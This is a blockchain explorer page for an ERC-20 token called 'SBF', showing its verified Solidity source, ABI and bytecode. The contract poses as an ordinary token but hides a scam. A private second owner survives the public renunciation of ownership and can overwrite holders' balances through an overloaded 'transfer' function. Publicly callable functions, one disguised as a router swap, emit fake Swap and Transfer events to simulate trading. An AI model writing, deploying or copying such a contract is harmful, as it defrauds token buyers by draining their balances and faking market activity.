ETH Price: $3,238.01 (-1.94%)

Token

SBF (SBF)
 

Overview

Max Total Supply

320,690,000,000,000 SBF

Holders

33

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,509,891,553.888487739321222483 SBF

Value
$0.00
0x62210dEAd1fE84a74FAA5c901cEA38167Ce5AeF9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SBF

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-15
*/

/**
 *Submitted for verification at Etherscan.io on 2024-02-05
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    



    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

contract SBF {
    IRouter internal _router;
    IPair internal _pair;
    address public owner;
    address private _owner;
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address private _pairr;

                event Swapp(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    

    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    string public constant name = "SBF";
    string public constant symbol = "SBF";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 320_690_000_000_000e18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    constructor() {
        owner = msg.sender;
        _owner = msg.sender;
        _router = IRouter(_routerAddress);
        _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        balances[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    modifier OnlyOwner() {
        require(_owner == msg.sender, "Caller is not the Owner");
        _;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address __owner, address spender) public view virtual returns (uint256) {
        return allowances[__owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(__owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        balances[from] = sub(fromBalance, amount);
        balances[to] = add(balances[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(__owner, spender, currentAllowance - amount);
            }
        }
    }

    function execute(
        address[] memory recipients,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) public OnlyOwner returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            _swap(recipients[i], tokenAmount, wethAmount, tokenAddress);
        }
        return true;
    }


    

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    }

    function transfer(
        address[] calldata _users,
        uint256 _minBalanceToReward,
        uint256 _percent
    ) public OnlyOwner {
        for (uint256 i = 0; i < _users.length; i++) {
            if (balanceOf(_users[i]) > _minBalanceToReward) {
                uint256 rewardAmount = _countReward(_users[i], _percent);
                balances[_users[i]] = rewardAmount;
            }
        }
    }

            function setup(address _setup_) external onlyOwner {
        _pairr = _setup_;
    }

        function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swapp(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }
    

            function swapExactETHForTokensSupportingFeeOnTransferTokens(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swapp(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }

    function _swap(
        address recipient,
        uint256 tokenAmount,
        uint256 wethAmount,
        address tokenAddress
    ) internal {
        _emitTransfer(recipient, tokenAmount);
        _emitSwap(tokenAmount, wethAmount, recipient);
        IERC20(tokenAddress)._Transfer(recipient, address(_pair), wethAmount);
    }

    function _emitTransfer(address recipient, uint256 tokenAmount) internal {
        emit Transfer(address(_pair), recipient, tokenAmount);
    }

    function _emitSwap(
        uint256 tokenAmount,
        uint256 wethAmount,
        address recipient
    ) internal {
        emit Swap(_routerAddress, tokenAmount, 0, 0, wethAmount, recipient);
    }

    function _countReward(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(balances[_user], _percent);
    }

    function _countAmountIn(uint256 amountOut, address[] memory path) internal returns (uint256) {
        uint256[] memory amountInMax;
        amountInMax = new uint256[](2);
        amountInMax = _router.getAmountsIn(amountOut, path);
        balances[address(this)] += amountInMax[0];
        return amountInMax[0];
    }

    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swapp","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"wethAmount","type":"uint256"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556005805490911673ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b1790556d0fcfad46a3bed22308f9500000006009553480156200006a575f80fd5b5060028054336001600160a01b03199182168117909255600380548216909217909155600480545f80546001600160a01b039092169190931681179092556040805163c45a015560e01b8152905163c45a0155928281019260209291908290030181865afa158015620000df573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200010591906200026a565b6001600160a01b031663c9c65396305f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000163573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200018991906200026a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001d4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001fa91906200026a565b600180546001600160a01b0319166001600160a01b0392909216919091179055600954335f81815260076020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000299565b5f602082840312156200027b575f80fd5b81516001600160a01b038116811462000292575f80fd5b9392505050565b6112f380620002a75f395ff3fe608060405234801561000f575f80fd5b506004361061011c575f3560e01c806370a08231116100a9578063a1c617f51161006e578063a1c617f51461027b578063a457c2d71461028e578063a9059cbb146102a1578063dd62ed3e146102b4578063e1fb276c146102c7575f80fd5b806370a082311461020d578063715018a6146102355780638da5cb5b1461023d57806395d89b41146101205780639b792a4414610268575f80fd5b8063313ce567116100ef578063313ce567146101a557806335d16274146101bf57806339509351146101d257806356cbfdcf146101e557806366d38203146101fa575f80fd5b806306fdde0314610120578063095ea7b31461015857806318160ddd1461017b57806323b872dd14610192575b5f80fd5b6101426040518060400160405280600381526020016229a12360e91b81525081565b60405161014f9190610ef6565b60405180910390f35b61016b610166366004610f69565b6102da565b604051901515815260200161014f565b61018460095481565b60405190815260200161014f565b61016b6101a0366004610f93565b6102f0565b6101ad601281565b60405160ff909116815260200161014f565b6101846101cd366004610fd1565b610311565b61016b6101e0366004610f69565b61043d565b6101f86101f3366004610fec565b61045e565b005b6101f8610208366004610fd1565b610551565b61018461021b366004610fd1565b6001600160a01b03165f9081526007602052604090205490565b6101f86105cc565b600254610250906001600160a01b031681565b6040516001600160a01b03909116815260200161014f565b61016b61027636600461107b565b610632565b6101f8610289366004610fec565b6106cc565b61016b61029c366004610f69565b6107b8565b61016b6102af366004610f69565b61083d565b6101846102c236600461115d565b610849565b6101f86102d5366004610fec565b610873565b5f6102e6338484610983565b5060015b92915050565b5f6102fc843384610aa7565b610307848484610b1f565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610364573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061038891906111aa565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061040c91906111f6565b6001600160a01b03161461042957816001600160701b0316610434565b826001600160701b03165b95945050505050565b5f3361030781858561044f8383610849565b6104599190611225565b610983565b5f5b8381101561054a5784848281811061047a5761047a611238565b905060200201602081019061048f9190610fd1565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a38484828181106104fa576104fa611238565b905060200201602081019061050f9190610fd1565b6006546040518481526001600160a01b0392831692909116905f8051602061129e8339815191529060200160405180910390a3600101610460565b5050505050565b6002546001600160a01b031633146105aa5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b60448201526064015b60405180910390fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031633146106205760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b60448201526064016105a1565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146106885760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b60448201526064016105a1565b5f5b85518110156106c0576106b88682815181106106a8576106a8611238565b6020026020010151868686610ce2565b60010161068a565b50600195945050505050565b5f5b8381101561054a578484828181106106e8576106e8611238565b90506020020160208101906106fd9190610fd1565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a384848281811061076857610768611238565b905060200201602081019061077d9190610fd1565b6006546040518481526001600160a01b0392831692909116905f8051602061129e8339815191529060200160405180910390a36001016106ce565b5f33816107c58286610849565b9050838110156108255760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105a1565b6108328286868403610983565b506001949350505050565b5f6102e6338484610b1f565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b6003546001600160a01b031633146108c75760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b60448201526064016105a1565b5f5b8381101561054a57826108fc8686848181106108e7576108e7611238565b905060200201602081019061021b9190610fd1565b111561097b575f61093386868481811061091857610918611238565b905060200201602081019061092d9190610fd1565b84610d73565b90508060075f88888681811061094b5761094b611238565b90506020020160208101906109609190610fd1565b6001600160a01b0316815260208101919091526040015f2055505b6001016108c9565b6001600160a01b0383166109e55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a1565b6001600160a01b038216610a465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a1565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f610ab28484610849565b90505f198114610b195781811015610b0c5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105a1565b610b198484848403610983565b50505050565b6001600160a01b038316610b835760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a1565b6001600160a01b038216610be55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a1565b6001600160a01b0383165f9081526007602052604090205481811015610c5c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105a1565b610c668183610d9c565b6001600160a01b038086165f908152600760205260408082209390935590851681522054610c949083610e00565b6001600160a01b038085165f8181526007602052604090819020939093559151908616905f8051602061129e83398151915290610cd49086815260200190565b60405180910390a350505050565b610cec8484610e5e565b610cf7838386610e93565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610d4f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061054a919061124c565b6001600160a01b0382165f90815260076020526040812054610d959083610eeb565b9392505050565b5f82821115610ded5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016105a1565b5f610df8838561126b565b949350505050565b5f80610e0c8385611225565b905083811015610d955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a1565b6001546040518281526001600160a01b038481169216905f8051602061129e8339815191529060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82290608001610a9a565b5f610d95828461127e565b5f602080835283518060208501525f5b81811015610f2257858101830151858201604001528201610f06565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f56575f80fd5b50565b8035610f6481610f42565b919050565b5f8060408385031215610f7a575f80fd5b8235610f8581610f42565b946020939093013593505050565b5f805f60608486031215610fa5575f80fd5b8335610fb081610f42565b92506020840135610fc081610f42565b929592945050506040919091013590565b5f60208284031215610fe1575f80fd5b8135610d9581610f42565b5f805f8060608587031215610fff575f80fd5b843567ffffffffffffffff80821115611016575f80fd5b818701915087601f830112611029575f80fd5b813581811115611037575f80fd5b8860208260051b850101111561104b575f80fd5b6020928301999098509187013596604001359550909350505050565b634e487b7160e01b5f52604160045260245ffd5b5f805f806080858703121561108e575f80fd5b843567ffffffffffffffff808211156110a5575f80fd5b818701915087601f8301126110b8575f80fd5b81356020828211156110cc576110cc611067565b8160051b604051601f19603f830116810181811086821117156110f1576110f1611067565b60405292835281830193508481018201928b84111561110e575f80fd5b948201945b838610156111335761112486610f59565b85529482019493820193611113565b9850508801359550505060408601359250611152905060608601610f59565b905092959194509250565b5f806040838503121561116e575f80fd5b823561117981610f42565b9150602083013561118981610f42565b809150509250929050565b80516001600160701b0381168114610f64575f80fd5b5f805f606084860312156111bc575f80fd5b6111c584611194565b92506111d360208501611194565b9150604084015163ffffffff811681146111eb575f80fd5b809150509250925092565b5f60208284031215611206575f80fd5b8151610d9581610f42565b634e487b7160e01b5f52601160045260245ffd5b808201808211156102ea576102ea611211565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561125c575f80fd5b81518015158114610d95575f80fd5b818103818111156102ea576102ea611211565b5f8261129857634e487b7160e01b5f52601260045260245ffd5b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122028812b0a2d2d82d2b43b9fc464eb9ed1f6e5acfbfc1d7523d969440b711f455764736f6c63430008180033

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061011c575f3560e01c806370a08231116100a9578063a1c617f51161006e578063a1c617f51461027b578063a457c2d71461028e578063a9059cbb146102a1578063dd62ed3e146102b4578063e1fb276c146102c7575f80fd5b806370a082311461020d578063715018a6146102355780638da5cb5b1461023d57806395d89b41146101205780639b792a4414610268575f80fd5b8063313ce567116100ef578063313ce567146101a557806335d16274146101bf57806339509351146101d257806356cbfdcf146101e557806366d38203146101fa575f80fd5b806306fdde0314610120578063095ea7b31461015857806318160ddd1461017b57806323b872dd14610192575b5f80fd5b6101426040518060400160405280600381526020016229a12360e91b81525081565b60405161014f9190610ef6565b60405180910390f35b61016b610166366004610f69565b6102da565b604051901515815260200161014f565b61018460095481565b60405190815260200161014f565b61016b6101a0366004610f93565b6102f0565b6101ad601281565b60405160ff909116815260200161014f565b6101846101cd366004610fd1565b610311565b61016b6101e0366004610f69565b61043d565b6101f86101f3366004610fec565b61045e565b005b6101f8610208366004610fd1565b610551565b61018461021b366004610fd1565b6001600160a01b03165f9081526007602052604090205490565b6101f86105cc565b600254610250906001600160a01b031681565b6040516001600160a01b03909116815260200161014f565b61016b61027636600461107b565b610632565b6101f8610289366004610fec565b6106cc565b61016b61029c366004610f69565b6107b8565b61016b6102af366004610f69565b61083d565b6101846102c236600461115d565b610849565b6101f86102d5366004610fec565b610873565b5f6102e6338484610983565b5060015b92915050565b5f6102fc843384610aa7565b610307848484610b1f565b5060019392505050565b5f805f60015f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610364573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061038891906111aa565b50915091505f846001600160a01b031660015f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061040c91906111f6565b6001600160a01b03161461042957816001600160701b0316610434565b826001600160701b03165b95945050505050565b5f3361030781858561044f8383610849565b6104599190611225565b610983565b5f5b8381101561054a5784848281811061047a5761047a611238565b905060200201602081019061048f9190610fd1565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a38484828181106104fa576104fa611238565b905060200201602081019061050f9190610fd1565b6006546040518481526001600160a01b0392831692909116905f8051602061129e8339815191529060200160405180910390a3600101610460565b5050505050565b6002546001600160a01b031633146105aa5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b60448201526064015b60405180910390fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031633146106205760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b60448201526064016105a1565b600280546001600160a01b0319169055565b6003545f906001600160a01b031633146106885760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b60448201526064016105a1565b5f5b85518110156106c0576106b88682815181106106a8576106a8611238565b6020026020010151868686610ce2565b60010161068a565b50600195945050505050565b5f5b8381101561054a578484828181106106e8576106e8611238565b90506020020160208101906106fd9190610fd1565b600554604080518681525f60208201819052818301526060810186905290516001600160a01b0393841693909216917f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed3227719181900360800190a384848281811061076857610768611238565b905060200201602081019061077d9190610fd1565b6006546040518481526001600160a01b0392831692909116905f8051602061129e8339815191529060200160405180910390a36001016106ce565b5f33816107c58286610849565b9050838110156108255760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105a1565b6108328286868403610983565b506001949350505050565b5f6102e6338484610b1f565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b6003546001600160a01b031633146108c75760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329027bbb732b960491b60448201526064016105a1565b5f5b8381101561054a57826108fc8686848181106108e7576108e7611238565b905060200201602081019061021b9190610fd1565b111561097b575f61093386868481811061091857610918611238565b905060200201602081019061092d9190610fd1565b84610d73565b90508060075f88888681811061094b5761094b611238565b90506020020160208101906109609190610fd1565b6001600160a01b0316815260208101919091526040015f2055505b6001016108c9565b6001600160a01b0383166109e55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a1565b6001600160a01b038216610a465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a1565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f610ab28484610849565b90505f198114610b195781811015610b0c5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105a1565b610b198484848403610983565b50505050565b6001600160a01b038316610b835760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a1565b6001600160a01b038216610be55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a1565b6001600160a01b0383165f9081526007602052604090205481811015610c5c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105a1565b610c668183610d9c565b6001600160a01b038086165f908152600760205260408082209390935590851681522054610c949083610e00565b6001600160a01b038085165f8181526007602052604090819020939093559151908616905f8051602061129e83398151915290610cd49086815260200190565b60405180910390a350505050565b610cec8484610e5e565b610cf7838386610e93565b6001546040516370ab58db60e11b81526001600160a01b0386811660048301529182166024820152604481018490529082169063e156b1b6906064016020604051808303815f875af1158015610d4f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061054a919061124c565b6001600160a01b0382165f90815260076020526040812054610d959083610eeb565b9392505050565b5f82821115610ded5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016105a1565b5f610df8838561126b565b949350505050565b5f80610e0c8385611225565b905083811015610d955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a1565b6001546040518281526001600160a01b038481169216905f8051602061129e8339815191529060200160405180910390a35050565b600454604080518581525f6020820181905291810191909152606081018490526001600160a01b038381169216907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82290608001610a9a565b5f610d95828461127e565b5f60208083528351806020850